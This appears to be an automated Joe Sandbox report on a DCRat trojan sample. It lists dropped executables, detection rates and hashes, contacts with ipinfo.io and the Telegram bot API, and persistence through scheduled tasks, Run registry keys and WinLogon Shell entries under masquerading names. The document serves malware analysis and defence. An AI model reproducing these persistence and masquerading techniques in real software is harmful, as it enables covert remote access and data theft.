C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	65%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	58%	Virustotal		Browse
C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\BudDliLc.log	17%	ReversingLabs
C:\Users\user\Desktop\BudDliLc.log	20%	Virustotal		Browse
C:\Users\user\Desktop\LdxTVLQK.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\LdxTVLQK.log	69%	Virustotal		Browse
C:\Users\user\Desktop\MFrsFgjH.log	67%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\MFrsFgjH.log	69%	Virustotal		Browse
C:\Users\user\Desktop\RAtJMMZA.log	10%	ReversingLabs
C:\Users\user\Desktop\RAtJMMZA.log	25%	Virustotal		Browse
C:\Users\user\Desktop\TDfrhvdw.log	8%	ReversingLabs
C:\Users\user\Desktop\TDfrhvdw.log	10%	Virustotal		Browse
C:\Users\user\Desktop\WslZMRrk.log	10%	ReversingLabs
C:\Users\user\Desktop\WslZMRrk.log	25%	Virustotal		Browse
C:\Users\user\Desktop\aEtIhTbg.log	8%	ReversingLabs
C:\Users\user\Desktop\aEtIhTbg.log	10%	Virustotal		Browse
C:\Users\user\Desktop\lKwWBiIK.log	0%	ReversingLabs
C:\Users\user\Desktop\lKwWBiIK.log	1%	Virustotal		Browse
C:\Users\user\Desktop\rGzNBWQu.log	0%	ReversingLabs
C:\Users\user\Desktop\rGzNBWQu.log	1%	Virustotal		Browse
C:\Users\user\Desktop\tRVOBpwv.log	8%	ReversingLabs
C:\Users\user\Desktop\tRVOBpwv.log	7%	Virustotal		Browse
C:\Users\user\Desktop\tnEMlbYs.log	8%	ReversingLabs
C:\Users\user\Desktop\tnEMlbYs.log	7%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/country	false		high
https://ipinfo.io/ip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org	SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003397000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003397000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734323133.0000000002E02000.00000002.00000001.01000000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002729000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002613000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.0000000002740000.00000004.00000800.00020000.00000000.sdmp, rGzNBWQu.log.43.dr, lKwWBiIK.log.8.dr	false	high
http://api.telegram.org	SurrogatewebSession.exe, 00000008.00000002.1734602264.00000000033D1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, winlogon.exe, 0000002B.00000002.1913984695.00000000029C8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ipinfo.io	SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000379A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ipinfo.io	SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003349000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.0000000003051000.00000004.00000800.00020000.00000000.sdmp, SurrogatewebSession.exe, 00000008.00000002.1734602264.000000000377C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States		139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417539
Start date and time:	2024-03-29 15:26:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	H9gMIu2HXi.exe renamed because original name is a hash value
Original Sample Name:	4fb1d8f8dff638f2c9b382f9552b18e2.bin.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@60/41@2/2
EGA Information:	Successful, ratio: 38.5%
HCA Information:	Successful, ratio: 90% Number of executed functions: 365 Number of non-executed functions: 185
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, 131217cm.n9shteam3.top, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SurrogatewebSession.exe, PID 7552 because it is empty
Execution Graph export aborted for target SurrogatewebSession.exe, PID 7556 because it is empty
Execution Graph export aborted for target SurrogatewebSession.exe, PID 7916 because it is empty
Execution Graph export aborted for target vXKtedDiKZHKptbUFqIBdHmZ.exe, PID 7264 because it is empty
Execution Graph export aborted for target vXKtedDiKZHKptbUFqIBdHmZ.exe, PID 7948 because it is empty
Execution Graph export aborted for target vXKtedDiKZHKptbUFqIBdHmZ.exe, PID 7964 because it is empty
Execution Graph export aborted for target winlogon.exe, PID 7532 because it is empty
Execution Graph export aborted for target winlogon.exe, PID 7568 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:26:55	Task Scheduler	Run new task: vXKtedDiKZHKptbUFqIBdHmZ path: "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:26:55	Task Scheduler	Run new task: vXKtedDiKZHKptbUFqIBdHmZv path: "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:26:57	Task Scheduler	Run new task: SurrogatewebSession path: "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
14:26:57	Task Scheduler	Run new task: SurrogatewebSessionS path: "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
14:26:57	Task Scheduler	Run new task: winlogon path: "C:\Recovery\winlogon.exe"
14:26:57	Task Scheduler	Run new task: winlogonw path: "C:\Recovery\winlogon.exe"
14:27:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ "C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:27:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run winlogon "C:\Recovery\winlogon.exe"
14:27:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
14:27:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ "C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:27:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run winlogon "C:\Recovery\winlogon.exe"
14:27:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
14:27:52	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run vXKtedDiKZHKptbUFqIBdHmZ "C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:28:02	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run winlogon "C:\Recovery\winlogon.exe"
14:28:10	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SurrogatewebSession "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
14:28:28	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\msbuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:28:37	Autostart	Run: WinLogon Shell "C:\Program Files (x86)\java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe"
14:28:46	Autostart	Run: WinLogon Shell "C:\Recovery\winlogon.exe"
14:28:55	Autostart	Run: WinLogon Shell "C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe"
15:26:49	API Interceptor	1x Sleep call for process: H9gMIu2HXi.exe modified
15:26:57	API Interceptor	28x Sleep call for process: SurrogatewebSession.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
149.154.167.220	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Get hash	malicious	Clipboard Hijacker, XWorm, Xmrig	Browse
	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	InjectToolInstaller.exe	Get hash	malicious	PureLog Stealer	Browse	34.117.186.192
	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	88Oj06xDol.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	uQeIMs91Vh.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	jUlAlD6KHz.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Iv88OQbqpE.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
api.telegram.org	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Get hash	malicious	Clipboard Hijacker, XWorm, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Stealer.exe	Get hash	malicious	Eternity Stealer	Browse	149.154.167.99
	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Get hash	malicious	Clipboard Hijacker, XWorm, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://peleki5574.wixsite.com/service-authentifica	Get hash	malicious	Unknown	Browse	34.117.60.144
	InjectToolInstaller.exe	Get hash	malicious	PureLog Stealer	Browse	34.117.186.192
	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	88Oj06xDol.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	https://attwebupdate.w3spaces.com/	Get hash	malicious	Unknown	Browse	34.117.239.71
	uQeIMs91Vh.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	oBMlky3Rkm7h5QK.exe	Get hash	malicious	AgentTesla	Browse	34.117.186.192 149.154.167.220
	BL-INVOICE SHIPPING DOCUMENTS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	34.117.186.192 149.154.167.220
	CamScanner.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	34.117.186.192 149.154.167.220
	bhevLCQYD6.exe	Get hash	malicious	AgentTesla	Browse	34.117.186.192 149.154.167.220
	TBC#01 Rev.A3 - lnexa.xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	34.117.186.192 149.154.167.220
	package80171530600.jpg.lnk	Get hash	malicious	XWorm	Browse	34.117.186.192 149.154.167.220
	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	34.117.186.192 149.154.167.220
	inpau292101.js	Get hash	malicious	FormBook	Browse	34.117.186.192 149.154.167.220
	SecuriteInfo.com.Win32.PWSX-gen.9732.1319.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	34.117.186.192 149.154.167.220
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	34.117.186.192 149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\BudDliLc.log	ZT3pxe2Tb4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	O5OjRoFGIW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	7GTGpZi6oi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	GWCscceJsW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	QHZoYVBjSD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	qObijSd3Uj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	2EHDj2G1ow.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	UU5WXfH85a.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	k6AIKkidxG.exe	Get hash	malicious	DCRat	Browse

Created / dropped Files

C:\Program Files (x86)\Java\jre-1.8\bin\client\8de7bf56f754b7

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with very long lines (928), with no line terminators
Category:	dropped
Size (bytes):	928
Entropy (8bit):	5.900812002528903
Encrypted:	false
SSDEEP:	24:bkTkTW8E3WkCDyMlo9LqlkWekd1kp04g/6QjL0rAy:I4yRGkfcoIAkd1ktPrL
MD5:	AA0C8943E0B56773A703A4F11FA3F426
SHA1:	E455A72445E6EA44F6F7D64C5B67BFBB4CFBE531
SHA-256:	E9C7BD39DA80B540175D4D6777FC004DA68BAE5755DCB0F016E82CADDB89583D
SHA-512:	B8E93F9346D18459327D2A62A9704BDFDF1EFC1C5D50B2083CD8F312853C52F5C1E43F5A69C0B304ADDB6692BBA051A559174FB48407F069B6CE97190B1CE66C
Malicious:	false
Preview:	4TaiRbAEiTGFPfsc5QkdDO10hsbDU4ThFqm34EcGpHVLKOA3gTOUgm2pbkBi96tn9j9i2zh1yey63qpSrihBq9Bcy6bTD3HsXrLlPbAqvXfBy5wv5t1aZr7Ahgu5YNy5WFiLeDDPi0QSd9o2KpYTBqSquKEsrFRhjkptXlR1ql2iapgi21vsye3px1aT9Uidits3U4fjYgnZytPEnf00UjsFq96fK72VDZAr6nN7WLUS0d1DmVpddsI9AnMV89YaoRWZthIAR3dIOaOMI23yRZ2VQAqTa28Xx3niHbTENpLkOAukYANGFkJOZAJt0yjZ4GVVwqFqjzkmORHPPG5ap2RMuZJHRjNYGvqIpZxs5ggQ9gAI34du3ItCyIkXg7Z9lLgcl9jzSMfIVANNZBNXGdf7BoThzaL7HhpxAhg4Uobqmlqx4W7fuC3Hqia7pCA2BiByVZN1eTCbCyUa7fmccpNEnhHbGjOSnjoEj1ceJGBaAbF1N99JZiZWV7LySvu5FtxdJQ1GDISWowELcPOGjE3FJSsmqoMXVFVQnmr6I3GRPDri29VDhoVA0sT1iPaZ54BibyhzhR8q8lzGkJtqSI0rtUZ5T0Y2cqVUCJHDbggQppBO2MQYftHxETzGZmgq3FNSQfEbCqPvmkBDSKDGk9XtjiQsUAoz9zXjct8XIyWzeVKeRvxOiaG3sdssOVHBBZwwNcljMq8vnhPNXwaiMaQjtd18AQIwrUxEjXRzJOC2cVQKOfUc5izlJMDtlni5hLDSuLo9flZ7XXHYNquf5p1IfM4WUhNgqGVQR7aD0U7TJ1NvFpg52C91U4xhQSp7X2RQC0GPProksh9n8IQoBSnnHd6WK2wip95Qk7tOiQpLXYJw5JjHBA6EPnJi4uEX4G5smtDBZCFuncPsUKbATphoD0B7xKUy

C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files (x86)\MSBuild\Microsoft\8de7bf56f754b7

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	Arhangel archive data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	5.6426082173396805
Encrypted:	false
SSDEEP:	3:E/ynJdqRFvqPyTsLLBzlxW2PzBWKTHrXJ+FvmM7yITUynd:iyJdq/vqPyABzF1W0X477ygUynd
MD5:	6ABFFF567DD16F663EE65BD823A2BAF4
SHA1:	7848788F54016FE63C9186E4F291C6AB3E0B1A0F
SHA-256:	1C07F6BFFDD7424EB54C60A0FAF296446A58F2228F99EF83EF9B68903CD8B9EC
SHA-512:	E36FB0CCD0F2FDE4DA177B1C382254FED315C029B022A565D8268C87B626F5A6BCDAA6F6C5147975DA1CCABA0043DBEFD7D8054454D66B1A47E05FCC53FCC006
Malicious:	false
Preview:	LGis95LbwXbOuTDDPjQovsGNOrRiVL8O49P4u6ht2ZOjW6kfIOBsMvZd9VdRomFlZMTuDJSSBhwVdg0SHvaHKPCIkv4ZdPFPTmKKm0b95srp9D9deLK2M8bJKLJSO3zvcgB1VqpRUbLbiWJgvb5SEMCVLAAbqIuC35McCIHyf3ivx

C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
SHA-256:	C0664856C2E59F8CC9E0FF378FED29E6592F429819999E1A44EADE9DBC62187E
SHA-512:	683CEF1209118F7AD304B5118DCA5F123F1EA5BB1EE3923C9EF42DECAC8E9ACF9536E6E9B583A04EBCB9E9AD304A948612E0E64CE533F006E0CE61F40F1E7DA3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....C.f................................. ........@.. ....................... ............@.....................................K....... ............................................................................ ............... ..H............text........ ...................... ..`.rsrc... ...........................@..@.reloc..............................@..B........................H.......X...X.......v...................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Microsoft Office 15\8de7bf56f754b7

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	273
Entropy (8bit):	5.744573863238078
Encrypted:	false
SSDEEP:	6:OyWtaS7I/hxfdPCh9nrYB43vc2Qy99gWwQh7/C:DBwI/XfdA9nTvwU9dXh7/C
MD5:	8076A5F3A6451BB9799AE924CCB4BDA2
SHA1:	A5E23B61D3B6BA053AA73A59C38341C1B73AC2B0
SHA-256:	D875F78CB7C05566D5E2FF7DA4A9BAEAACC3E82F8D499CED99339A10D1FAE32F
SHA-512:	DC0FAD5AE37DB613885C47848F8D43F75CF3BD6B59E0DF9F56637F3F8014583768D014FC8AAF71DFE7A50BDB9385F3BA75950D806323859BFDCFEB12127240A4
Malicious:	false
Preview:	wZLv4eve8BANULTeSqJd0iTaFzSCybiUTKJvuc6o4WqdTbl9L7MZ7yaOFvpELtqgdq4KBhuzufjd1zGoOS10OJWet5p8w1cLpJAnga7nNXpcP6XQpB0220SUTZaG2vC2CYyrycHxUNm1e3OxhZTvBjSz1qTHA1vbUwa1IpbM4ChoNazZLniccR0cF90IIAxdbKhrdXp28H19Bola045WSS9D57wIySD4OEND3I5y7qeVa1abXZROEaLIKevgkgDpD7v7ahhs8HZlyomEg

C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe

Download File

Process:	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	832512
Entropy (8bit):	5.473650729139317
Encrypted:	false
SSDEEP:	12288:v5Tnns8tsXmTP/4u46B2emHJJMA+ppW3Ari4VVyZC0+1cp9LhCgEwBvbvHlJNZ6:v5Tn3PB2empJMA+p3iE0nTLhLDN6
MD5:	1F994BA149832A45EBEDCE2D36A2CA21
SHA1:	AB913617DE27A1079E7E0B6F871C78801C4CAFF9
